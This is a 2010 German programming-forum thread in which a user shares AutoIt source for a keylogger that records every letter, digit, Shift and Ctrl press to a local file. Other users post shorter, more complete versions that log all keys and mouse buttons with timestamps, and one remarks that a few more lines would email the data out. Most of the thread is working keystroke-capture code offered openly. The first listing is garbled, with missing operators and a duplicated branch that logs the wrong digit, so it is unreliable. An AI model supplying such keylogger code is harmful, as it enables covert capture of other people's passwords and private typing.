Autoit KeyAufzeichner/Logger

10/21/2010 21:50 Memphiisto#1
Auf die Idee das Programm hier zu machen hatt mich IwH gebracht.
Es war ein großes stück Arbeit, mache es aber trotz allem OpenSource und würde mich daher über ein paar thx freun :)

Was macht es? Es schreibt jeden BUCHSTABEN+Shift und Strg, der geklickt wird in eine Ini datei rein.

PHP Code:

#include <File.au3>
#include <misc.au3>

$Zaelen "0"


While 1

If _IsPressed(10Then
While (10)
If 
$Zaelen "0" then
_FileWriteLog
("Tasten.ini""Shift gedrueckt")
$Zaelen "1"
While (10)
If 
not _IsPressed(10then
    $Zaelen 
"0"
ExitLoop
EndIf
WEnd
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(11Then
While (10)
If 
Not _IsPressed(11Then
_FileWriteLog
("Tasten.ini""Ctrl gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(30Then
While (10)
If 
Not _IsPressed(30Then
_FileWriteLog
("Tasten.ini""Zahl 0 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(31Then
While (10)
If 
Not _IsPressed(31Then
_FileWriteLog
("Tasten.ini""Zahl 1 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(32Then
While (10)
If 
Not _IsPressed(32Then
_FileWriteLog
("Tasten.ini""Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(33Then
While (10)
If 
Not _IsPressed(33Then
_FileWriteLog
("Tasten.ini""Zahl 3 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(34Then
While (10)
If 
Not _IsPressed(34Then
_FileWriteLog
("Tasten.ini""Zahl 4 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(35Then
While (10)
If 
Not _IsPressed(35Then
_FileWriteLog
("Tasten.ini""Zahl 5 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(36Then
While (10)
If 
Not _IsPressed(36Then
_FileWriteLog
("Tasten.ini""Zahl 6 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(37Then
While (10)
If 
Not _IsPressed(37Then
_FileWriteLog
("Tasten.ini""Zahl 7 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(38Then
While (10)
If 
Not _IsPressed(38Then
_FileWriteLog
("Tasten.ini""Zahl 8 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(39Then
While (10)
If 
Not _IsPressed(39Then
_FileWriteLog
("Tasten.ini""Zahl 9 gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed(39Then
While (10)
If 
Not _IsPressed(39Then
_FileWriteLog
("Tasten.ini""Zahl 2 gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(41Then
While (10)
If 
Not _IsPressed(41Then
_FileWriteLog
("Tasten.ini""Taste A gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(42Then
While (10)
If 
Not _IsPressed(42Then
_FileWriteLog
("Tasten.ini""Taste B gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(43Then
While (10)
If 
Not _IsPressed(43Then
_FileWriteLog
("Tasten.ini""Taste C gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(44Then
While (10)
If 
Not _IsPressed(44Then
_FileWriteLog
("Tasten.ini""Taste D gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(45Then
While (10)
If 
Not _IsPressed(45Then
_FileWriteLog
("Tasten.ini""Taste E gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(46Then
While (10)
If 
Not _IsPressed(46Then
_FileWriteLog
("Tasten.ini""Taste F gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(47Then
While (10)
If 
Not _IsPressed(47Then
_FileWriteLog
("Tasten.ini""Taste G gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(48Then
While (10)
If 
Not _IsPressed(48Then
_FileWriteLog
("Tasten.ini""Taste H gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed(49Then
While (10)
If 
Not _IsPressed(49Then
_FileWriteLog
("Tasten.ini""Taste I gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4A"Then
While (10)
If 
Not _IsPressed("4A"Then
_FileWriteLog
("Tasten.ini""Taste J gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4B"Then
While (10)
If 
Not _IsPressed("4B"Then
_FileWriteLog
("Tasten.ini""Taste K gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed("4C"Then
While (10)
If 
Not _IsPressed("4C"Then
_FileWriteLog
("Tasten.ini""Taste L gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4D"Then
While (10)
If 
Not _IsPressed("4D"Then
_FileWriteLog
("Tasten.ini""Taste M gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4E"Then
While (10)
If 
Not _IsPressed("4E"Then
_FileWriteLog
("Tasten.ini""Taste N gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("4F"Then
While (10)
If 
Not _IsPressed("4F"Then
_FileWriteLog
("Tasten.ini""Taste O gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("50"Then
While (10)
If 
Not _IsPressed("50"Then
_FileWriteLog
("Tasten.ini""Taste P gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed("51"Then
While (10)
If 
Not _IsPressed("51"Then
_FileWriteLog
("Tasten.ini""Taste Q gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("52"Then
While (10)
If 
Not _IsPressed("52"Then
_FileWriteLog
("Tasten.ini""Taste R gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("53"Then
While (10)
If 
Not _IsPressed("53"Then
_FileWriteLog
("Tasten.ini""Taste S gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("54"Then
While (10)
If 
Not _IsPressed("54"Then
_FileWriteLog
("Tasten.ini""Taste T gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("55"Then
While (10)
If 
Not _IsPressed("55"Then
_FileWriteLog
("Tasten.ini""Taste U gedrueckt")
ExitLoop
EndIf
WEnd


ElseIf _IsPressed("56"Then
While (10)
If 
Not _IsPressed("56"Then
_FileWriteLog
("Tasten.ini""Taste V gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("57"Then
While (10)
If 
Not _IsPressed("57"Then
_FileWriteLog
("Tasten.ini""Taste W gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("58"Then
While (10)
If 
Not _IsPressed("58"Then
_FileWriteLog
("Tasten.ini""Taste X gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("59"Then
While (10)
If 
Not _IsPressed("59"Then
_FileWriteLog
("Tasten.ini""Taste Y gedrueckt")
ExitLoop
EndIf
WEnd

ElseIf _IsPressed("5A"Then
While (10)
If 
Not _IsPressed("5A"Then
_FileWriteLog
("Tasten.ini""Taste Z gedrueckt")
ExitLoop
EndIf
WEnd


;(Cby MagicDave


EndIf
WEnd 

Bei Verbesserungsvorshlägen Pn an mich oder hier rein :)

lg MagicDave
10/21/2010 21:54 amnesi#2
nice ^^
sowas hab ich auch mal gemacht^^
das ist echt ein Stück Arbeit;)
vorallem das alles zu tippen xD
10/21/2010 21:56 omer36#3
:facepalm: kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
10/21/2010 22:02 Memphiisto#4
Quote:
Originally Posted by omer36 View Post
:facepalm: kaum lernen die vögel halbwegs autoit und schreiben bzw veröffentlichen sie gleich nen "keylogger"
Is ja kein richtiger "Keylogger" der versendet ja nicht die daten Sondern der ist eigentlich nur für den eigengebrauch gedacht (Aufzeichnen was man alles gemacht hatt) aber naja ich kann verstehen was du meinst xD

Wie gesagt es holt nur die sachen was man macht und tut sie in ne Inidatei aber versendet nix irgendwohin....

Und für mich zählt nur dass es viel arbeit war und ich mich freu dass es funzt :)

lg magic
10/21/2010 22:09 omer36#5
ja ist ja toll udnso, dass du es machen konntest, aber veröffentlichen muss mann sowas nicht,
weil es reichen schon.. kp..um die 10zeilen mehr und du sendest die sachen an ne email...

nja
10/21/2010 22:12 lolkop#6
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...

und auch so kannst du das gerade bei zahlen und buchstaben so machen...
10/21/2010 22:12 Memphiisto#7
*.* Wusst ich ned......
Naja löschen werd ichs jetzt auch nicht mehr allerdings jetzt da ich das weiß werd ich solche ähnlichen sachen nicht mehr veröffentlichen THX :)



Quote:
Originally Posted by lolkop View Post
für sowas kannste auch direkt die ganze hilfe aus der misc.au3 in dein script packen, und das per schleife durchlaufen...

und auch so kannst du das gerade bei zahlen und buchstaben so machen...
*.* Waaas? xD Ich programmier da so lang rum und das geht alles in ein paar einzelnen zeilen?
Kannste mir das bitte mal zeigen :)?
10/21/2010 22:15 comentdenner#8
wie bist du auf die idee gekommen einen "was habe ich heute geschrieben" aufzeichner zu machen?
10/21/2010 22:19 Memphiisto#9
Ehhm das ist ne gute Frage xD Ich dachte mir einfach einma so was wäre Lustig (schon länger her..
Und dann Heute als in dem Thread: [Only registered and activated users can see links. Click Here To Register...] so was wieder aufgetaucht ist hab ich mir gedacht ich schreib ma so was weil ich es schon längere Zeit vor hatte :)
10/21/2010 22:20 comentdenner#10
okay danke für die aufklärung xD

sehr interessant =P
10/21/2010 22:52 lolkop#11
naja idee war eig die misc.au3 parsen zu lassen... aber denn würde das ganze ja nur funzen, wenn autoit installed ist...

also am besten das ganze zeug ins script packen als array...

so würdest du also alles checken:

wenn du nur so wie du es dort tust auf zahlen und buchstaben checken willst geht das aber auch so:
Code:
$dll = DllOpen('user32.dll')
While 1
	For $i=0 To 9
		If _IsPressed(0x30+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&$i&" gedrueckt"&@CRLF)
	Next
	For $i=1 To 26
		If _IsPressed(0x40+$i) Then FileWrite("pressed.txt", @MDAY&'.'&@MON&'.'&@YEAR&' '&@HOUR&':'&@MIN&':'&@SEC&' --> '&Chr(0x40+$i)&" gedrueckt"&@CRLF)
	Next
	Sleep(5)
WEnd

Func _IsPressed($key, $vDLL = 'user32.dll')
	Local $a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
	If @error Then Return SetError(@error, @extended, False)
	If BitAND($a_R[0], 0x8000) <> 0 Then
		Do
			$a_R = DllCall($vDLL, "short", "GetAsyncKeyState", "int", $key)
		Until  BitAND($a_R[0], 0x8000) = 0
		Return True
	Else
		Return False
	EndIf
EndFunc
10/21/2010 23:20 Memphiisto#12
Uhh niccceeee :) Haste dir n thx verdient :P
10/21/2010 23:23 Die-Dose#13
Für sowas willst du nicht wirklich n' Thx oder?
10/21/2010 23:28 PenGuin :O#14
Code:
Func _CheckKey()
	For $i = 1 To 165
		$iValue = StringTrimLeft(Hex($i), 6)
		$iHex = "0x" & $iValue
		$aResult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $iHex)
		If @error Then Return SetError(@error, @extended, 0)
		If BitAND($aResult[0], 32768) <> 0 And $iHex <> $iOldHex Then
			Return  _GetKeyName($iHex)
			$iOldHex = $iHex
		EndIf
	Next
EndFunc   ;==>_CheckKey


Func _GetKeyName($iKey)
	Local $aKey[116][2] = [ _
			[0x01, "Linke Maustaste"],[0x02, "Rechte Maustaste"],[0x04, "Mittlere Maustaste"],[0x05, "X1 Maus-Taste"],[0x06, "X2 Maus-Taste"], _
			[0x08, "Löschtaste rückwärts"],[0x09, "Tabulator-Taste"],[0x0C, "Entf-Taste"],[0x0D, "Enter/Return-Taste"],[0x10, "Shift/Umschalt-Taste"], _
			[0x11, "Ctrl/Strg-Taste"],[0x12, "Alt-Taste"],[0x13, "Pause-Taste"],[0x14, "Feststelltaste"],[0x1B, "Esc-Taste"],[0x20, "Leertaste"],[0x21, "Bild-auf Taste"], _
			[0x22, "Bild-ab Taste"],[0x23, "Ende-Taste"],[0x24, "Pos 1-Taste"],[0x25, "Pfeiltaste nach links"],[0x26, "Pfeiltaste nach oben"], _
			[0x27, "Pfeiltaste nach rechts"],[0x28, "Pfeiltaste nach unten"],[0x29, "Auswahltaste"],[0x2A, "Druck"],[0x2B, "Ausführentaste"], _
			[0x2C, "Drucktaste"],[0x2D, "Einfg-Taste"],[0x2E, "Entf-Taste"],[0x30, "0"],[0x31, "1"],[0x32, "2"],[0x33, "3"],[0x34, "4"],[0x35, "5"], _
			[0x36, "6"],[0x37, "7"],[0x38, "8"],[0x39, "9"],[0x41, "A"],[0x42, "B"],[0x43, "C"],[0x44, "D"],[0x45, "E"],[0x46, "F"],[0x47, "G"],[0x48, "H"], _
			[0x49, "I"],[0x4A, "J"],[0x4B, "K"],[0x4C, "L"],[0x4D, "M"],[0x4E, "N"],[0x4F, "O"],[0x50, "P"],[0x51, "Q"],[0x52, "R"],[0x53, "S"],[0x54, "T"],[0x55, "U"], _
			[0x56, "V"],[0x57, "W"],[0x58, "X"],[0x59, "Y"],[0x5A, "Z"],[0x5B, "Linke Windows-Taste"],[0x5C, "Rechte Windows-Taste"],[0x60, "rechter Nummerblock Taste 0"], _
			[0x61, "rechter Nummerblock Taste 1"],[0x62, "rechter Nummerblock Taste 2"],[0x63, "rechter Nummerblock Taste 3"],[0x64, "rechter Nummerblock Taste 4"], _
			[0x65, "rechter Nummerblock Taste 5"],[0x66, "rechter Nummerblock Taste 6"],[0x67, "rechter Nummerblock Taste 7"],[0x68, "rechter Nummerblock Taste 8"], _
			[0x69, "rechter Nummerblock Taste 9"],[0x6A, "rechter Nummerblock Malzeichen"],[0x6B, "rechter Nummerblock Pluszeichen"],[0x6C, "Eingabetaste"], _
			[0x6D, "rechter Nummerblock Minuszeichen"],[0x6E, "rechter Nummerblock Kommazeichen"],[0x6F, "rechter Nummerblock Geteiltzeichen"],[0x70, "F1"], _
			[0x71, "F2"],[0x72, "F3"],[0x73, "F4"],[0x74, "F5"],[0x75, "F6"],[0x76, "F7"],[0x77, "F8"],[0x78, "F9"],[0x79, "F10"],[0x7A, "F11"],[0x7B, "F12"], _
			[0x7C, "F13"],[0x7D, "F14"],[0x7E, "F15"],[0x7F, "F16"],[0x80, "F17"],[0x81, "F18"],[0x82, "F19"],[0x83, "F20"],[0x84, "F21"],[0x85, "F22"], _
			[0x86, "F23"],[0x87, "F24"],[0x90, "Num-Taste"],[0x91, "Rollen-Taste"],[0xA0, "linke Shift/Umschalt/Feststelltaste"], _
			[0xA1, "rechte Shift/Umschalt/Feststelltaste"],[0xA2, "linke Ctrl/Strg-Taste"],[0xA3, "rechte Ctrl/Strg-Taste"], _
			[0xA4, "(linke) Alt-Taste"],[0xA5, "(rechte) Alt Gr-Taste"]]
	Local $Index = _ArraySearch($aKey, $iKey)
	If Not @error Then
		Return $aKey[$Index][1]
	Else
		Return 0
	EndIf
EndFunc   ;==>_GetKeyName
Einfach _CheckKey in einer Schleife durchlaufen lassen ;O
Und lolkop, sag nichts dagegen, alles was ich mache, findest du schlecht! :D

#include <array.au3> wird gebraucht.
10/21/2010 23:29 Memphiisto#15
Nicht für das was es ist sondern für die zeit die ich darin investiert hab damitt es läuft..
und außerdem wenn du nicht willst musst du mir ja kein thx geben allerdings würd es mich freun ^^